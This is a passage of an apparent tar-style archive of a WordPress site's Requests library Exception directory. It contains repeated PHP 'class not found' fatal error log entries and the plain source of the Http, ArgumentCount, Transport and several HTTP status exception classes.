  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/ArgumentCount.php on line 20
[02-Nov-2025 08:33:29 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http.php:18
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http.php on line 18
[02-Nov-2025 08:33:43 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Transport.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Transport.php on line 17
[06-Dec-2025 18:37:05 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/ArgumentCount.php:20
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/ArgumentCount.php on line 20
[06-Dec-2025 18:37:08 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http.php:18
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http.php on line 18
[06-Dec-2025 18:38:09 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Transport.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Transport.php on line 17
[06-Dec-2025 18:51:23 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/ArgumentCount.php:20
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/ArgumentCount.php on line 20
[06-Dec-2025 18:51:23 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http.php:18
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http.php on line 18
[06-Dec-2025 18:51:50 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Transport.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Transport.php on line 17
[23-Dec-2025 11:29:43 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/ArgumentCount.php:20
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/ArgumentCount.php on line 20
[23-Dec-2025 11:29:43 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http.php:18
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http.php on line 18
[23-Dec-2025 11:31:08 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Transport.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Transport.php on line 17
[23-Dec-2025 11:50:38 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/ArgumentCount.php:20
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/ArgumentCount.php on line 20
[23-Dec-2025 11:50:40 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http.php:18
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http.php on line 18
[23-Dec-2025 11:52:01 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Transport.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Transport.php on line 17
[24-Dec-2025 14:41:52 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/ArgumentCount.php:20
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/ArgumentCount.php on line 20
[24-Dec-2025 14:41:52 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http.php:18
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http.php on line 18
[24-Dec-2025 14:43:27 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Transport.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Transport.php on line 17
[24-Dec-2025 15:07:03 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/ArgumentCount.php:20
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/ArgumentCount.php on line 20
[24-Dec-2025 15:07:04 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http.php:18
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http.php on line 18
[24-Dec-2025 15:08:34 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Transport.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Transport.php on line 17
[04-Jan-2026 10:03:22 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/ArgumentCount.php:20
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/ArgumentCount.php on line 20
[04-Jan-2026 10:03:22 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http.php:18
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http.php on line 18
[04-Jan-2026 10:03:36 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Transport.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Transport.php on line 17
[04-Jan-2026 10:13:16 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/ArgumentCount.php:20
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/ArgumentCount.php on line 20
[04-Jan-2026 10:13:16 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http.php:18
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http.php on line 18
[04-Jan-2026 10:13:28 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Transport.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Transport.php on line 17
[05-Jan-2026 23:51:13 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/ArgumentCount.php:20
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/ArgumentCount.php on line 20
[05-Jan-2026 23:51:18 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http.php:18
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http.php on line 18
[05-Jan-2026 23:51:33 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Transport.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Transport.php on line 17
[06-Jan-2026 01:12:55 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/ArgumentCount.php:20
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/ArgumentCount.php on line 20
[06-Jan-2026 01:12:55 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http.php:18
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http.php on line 18
[06-Jan-2026 01:13:23 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Transport.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Transport.php on line 17
[06-Jan-2026 01:25:56 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/ArgumentCount.php:20
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/ArgumentCount.php on line 20
[06-Jan-2026 01:25:56 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http.php:18
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http.php on line 18
[06-Jan-2026 01:26:36 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Transport.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Transport.php on line 17
[13-Jan-2026 23:43:57 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/ArgumentCount.php:20
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/ArgumentCount.php on line 20
[13-Jan-2026 23:43:59 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http.php:18
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http.php on line 18
[13-Jan-2026 23:45:29 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Transport.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Transport.php on line 17
[14-Jan-2026 00:04:35 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/ArgumentCount.php:20
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/ArgumentCount.php on line 20
[14-Jan-2026 00:04:37 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http.php:18
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http.php on line 18
[14-Jan-2026 00:06:04 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Transport.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Transport.php on line 17
Exception/Http.php000064400000003006152223033010010120 0ustar00<?php
/**
 * Exception based on HTTP response
 *
 * @package Requests\Exceptions
 */

namespace WpOrg\Requests\Exception;

use WpOrg\Requests\Exception;
use WpOrg\Requests\Exception\Http\StatusUnknown;

/**
 * Exception based on HTTP response
 *
 * @package Requests\Exceptions
 */
class Http extends Exception {
	/**
	 * HTTP status code
	 *
	 * @var integer
	 */
	protected $code = 0;

	/**
	 * Reason phrase
	 *
	 * @var string
	 */
	protected $reason = 'Unknown';

	/**
	 * Create a new exception
	 *
	 * There is no mechanism to pass in the status code, as this is set by the
	 * subclass used. Reason phrases can vary, however.
	 *
	 * @param string|null $reason Reason phrase
	 * @param mixed $data Associated data
	 */
	public function __construct($reason = null, $data = null) {
		if ($reason !== null) {
			$this->reason = $reason;
		}

		$message = sprintf('%d %s', $this->code, $this->reason);
		parent::__construct($message, 'httpresponse', $data, $this->code);
	}

	/**
	 * Get the status message.
	 *
	 * @return string
	 */
	public function getReason() {
		return $this->reason;
	}

	/**
	 * Get the correct exception class for a given error code
	 *
	 * @param int|bool $code HTTP status code, or false if unavailable
	 * @return string Exception class name to use
	 */
	public static function get_class($code) {
		if (!$code) {
			return StatusUnknown::class;
		}

		$class = sprintf('\WpOrg\Requests\Exception\Http\Status%d', $code);
		if (class_exists($class)) {
			return $class;
		}

		return StatusUnknown::class;
	}
}
Exception/ArgumentCount.php000064400000002664152223033010012005 0ustar00<?php

namespace WpOrg\Requests\Exception;

use WpOrg\Requests\Exception;

/**
 * Exception for when an incorrect number of arguments are passed to a method.
 *
 * Typically, this exception is used when all arguments for a method are optional,
 * but certain arguments need to be passed together, i.e. a method which can be called
 * with no arguments or with two arguments, but not with one argument.
 *
 * Along the same lines, this exception is also used if a method expects an array
 * with a certain number of elements and the provided number of elements does not comply.
 *
 * @package Requests\Exceptions
 * @since   2.0.0
 */
final class ArgumentCount extends Exception {

	/**
	 * Create a new argument count exception with a standardized text.
	 *
	 * @param string $expected The argument count expected as a phrase.
	 *                         For example: `at least 2 arguments` or `exactly 1 argument`.
	 * @param int    $received The actual argument count received.
	 * @param string $type     Exception type.
	 *
	 * @return \WpOrg\Requests\Exception\ArgumentCount
	 */
	public static function create($expected, $received, $type) {
		// phpcs:ignore WordPress.PHP.DevelopmentFunctions.error_log_debug_backtrace
		$stack = debug_backtrace(DEBUG_BACKTRACE_IGNORE_ARGS, 2);

		return new self(
			sprintf(
				'%s::%s() expects %s, %d given',
				$stack[1]['class'],
				$stack[1]['function'],
				$expected,
				$received
			),
			$type
		);
	}
}
Exception/.htaccess000064400000000000152223033010010255 0ustar00Exception/Transport.php000064400000000364152223033010011201 0ustar00<?php
/**
 * Transport Exception
 *
 * @package Requests\Exceptions
 */

namespace WpOrg\Requests\Exception;

use WpOrg\Requests\Exception;

/**
 * Transport Exception
 *
 * @package Requests\Exceptions
 */
class Transport extends Exception {}
Exception/Http/Status502.php000064400000000711152223033010011632 0ustar00<?php
/**
 * Exception for 502 Bad Gateway responses
 *
 * @package Requests\Exceptions
 */

namespace WpOrg\Requests\Exception\Http;

use WpOrg\Requests\Exception\Http;

/**
 * Exception for 502 Bad Gateway responses
 *
 * @package Requests\Exceptions
 */
final class Status502 extends Http {
	/**
	 * HTTP status code
	 *
	 * @var integer
	 */
	protected $code = 502;

	/**
	 * Reason phrase
	 *
	 * @var string
	 */
	protected $reason = 'Bad Gateway';
}
Exception/Http/Status304.php000064400000000714152223033010011635 0ustar00<?php
/**
 * Exception for 304 Not Modified responses
 *
 * @package Requests\Exceptions
 */

namespace WpOrg\Requests\Exception\Http;

use WpOrg\Requests\Exception\Http;

/**
 * Exception for 304 Not Modified responses
 *
 * @package Requests\Exceptions
 */
final class Status304 extends Http {
	/**
	 * HTTP status code
	 *
	 * @var integer
	 */
	protected $code = 304;

	/**
	 * Reason phrase
	 *
	 * @var string
	 */
	protected $reason = 'Not Modified';
}
Exception/Http/Status405.php000064400000000736152223033010011643 0ustar00<?php
/**
 * Exception for 405 Method Not Allowed responses
 *
 * @package Requests\Exceptions
 */

namespace WpOrg\Requests\Exception\Http;

use WpOrg\Requests\Exception\Http;

/**
 * Exception for 405 Method Not Allowed responses
 *
 * @package Requests\Exceptions
 */
final class Status405 extends Http {
	/**
	 * HTTP status code
	 *
	 * @var integer
	 */
	protected $code = 405;

	/**
	 * Reason phrase
	 *
	 * @var string
	 */
	protected $reason = 'Method Not Allowed';
}
Exception/Http/Status306.php000064400000000714152223033010011637 0ustar00<?php
/**
 * Exception for 306 Switch Proxy responses
 *
 * @package Requests\Exceptions
 */

namespace WpOrg\Requests\Exception\Http;

use WpOrg\Requests\Exception\Http;

/**
 * Exception for 306 Switch Proxy responses
 *
 * @package Requests\Exceptions
 */
final class Status306 extends Http {
	/**
	 * HTTP status code
	 *
	 * @var integer
	 */
	protected $code = 306;

	/**
	 * Reason phrase
	 *
	 * @var string
	 */
	protected $reason = 'Switch Proxy';
}
Exception/Http/Status402.php000064400000000730152223033010011632 0ustar00<?php
/**
 * Exception for 402 Payment Required responses
 *
 * @package Requests\Exceptions
 */

namespace WpOrg\Requests\Exception\Http;

use WpOrg\Requests\Exception\Http;

/**
 * Exception for 402 Payment Required responses
 *
 * @package Requests\Exceptions
 */
final class Status402 extends Http {
	/**
	 * HTTP status code
	 *
	 * @var integer
	 */
	protected $code = 402;

	/**
	 * Reason phrase
	 *
	 * @var string
	 */
	protected $reason = 'Payment Required';
}
Exception/Http/Status411.php000064400000000725152223033010011636 0ustar00<?php
/**
 * Exception for 411 Length Required responses
 *
 * @package Requests\Exceptions
 */

namespace WpOrg\Requests\Exception\Http;

use WpOrg\Requests\Exception\Http;

/**
 * Exception for 411 Length Required responses
 *
 * @package Requests\Exceptions
 */
final class Status411 extends Http {
	/**
	 * HTTP status code
	 *
	 * @var integer
	 */
	protected $code = 411;

	/**
	 * Reason phrase
	 *
	 * @var string
	 */
	protected $reason = 'Length Required';
}
Exception/Http/Status416.php000064400000001005152223033010011633 0ustar00<?php
/**
 * Exception for 416 Requested Range Not Satisfiable responses
 *
 * @package Requests\Exceptions
 */

namespace WpOrg\Requests\Exception\Http;

use WpOrg\Requests\Exception\Http;

/**
 * Exception for 416 Requested Range Not Satisfiable responses
 *
 * @package Requests\Exceptions
 */
final class Status416 extends Http {
	/**
	 * HTTP status code
	 *
	 * @var integer
	 */
	protected $code = 416;

	/**
	 * Reason phrase
	 *
	 * @var string
	 */
	protected $reason = 'Requested Range Not Satisfiable';
}
Exception/Http/error_log000064400002561401152223033010011336 0ustar00[19-Sep-2024 20:14:33 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status304.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status304.php on line 17
[19-Sep-2024 20:14:33 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status305.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status305.php on line 17
[19-Sep-2024 20:14:34 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status306.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status306.php on line 17
[19-Sep-2024 20:14:34 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status400.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status400.php on line 17
[19-Sep-2024 20:14:34 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status401.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status401.php on line 17
[19-Sep-2024 20:14:35 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status402.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status402.php on line 17
[19-Sep-2024 20:14:35 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status403.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status403.php on line 17
[19-Sep-2024 20:14:35 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status404.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status404.php on line 17
[19-Sep-2024 20:14:35 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status405.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status405.php on line 17
[19-Sep-2024 20:14:36 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status406.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status406.php on line 17
[19-Sep-2024 20:14:36 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status407.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status407.php on line 17
[19-Sep-2024 20:14:36 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status408.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status408.php on line 17
[19-Sep-2024 20:14:37 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status409.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status409.php on line 17
[19-Sep-2024 20:14:37 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status410.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status410.php on line 17
[19-Sep-2024 20:14:38 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status411.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status411.php on line 17
[19-Sep-2024 20:14:38 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status412.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status412.php on line 17
[19-Sep-2024 20:14:38 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status413.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status413.php on line 17
[19-Sep-2024 20:14:39 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status414.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status414.php on line 17
[19-Sep-2024 20:14:39 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status415.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status415.php on line 17
[19-Sep-2024 20:14:39 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status416.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status416.php on line 17
[19-Sep-2024 20:14:39 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status417.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status417.php on line 17
[19-Sep-2024 20:14:40 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status418.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status418.php on line 21
[19-Sep-2024 20:14:40 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status428.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status428.php on line 21
[19-Sep-2024 20:14:40 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status429.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status429.php on line 21
[19-Sep-2024 20:14:41 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status431.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status431.php on line 21
[19-Sep-2024 20:14:41 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status500.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status500.php on line 17
[19-Sep-2024 20:14:41 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status501.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status501.php on line 17
[19-Sep-2024 20:14:41 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status502.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status502.php on line 17
[19-Sep-2024 20:14:42 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status503.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status503.php on line 17
[19-Sep-2024 20:14:42 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status504.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status504.php on line 17
[19-Sep-2024 20:14:42 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status505.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status505.php on line 17
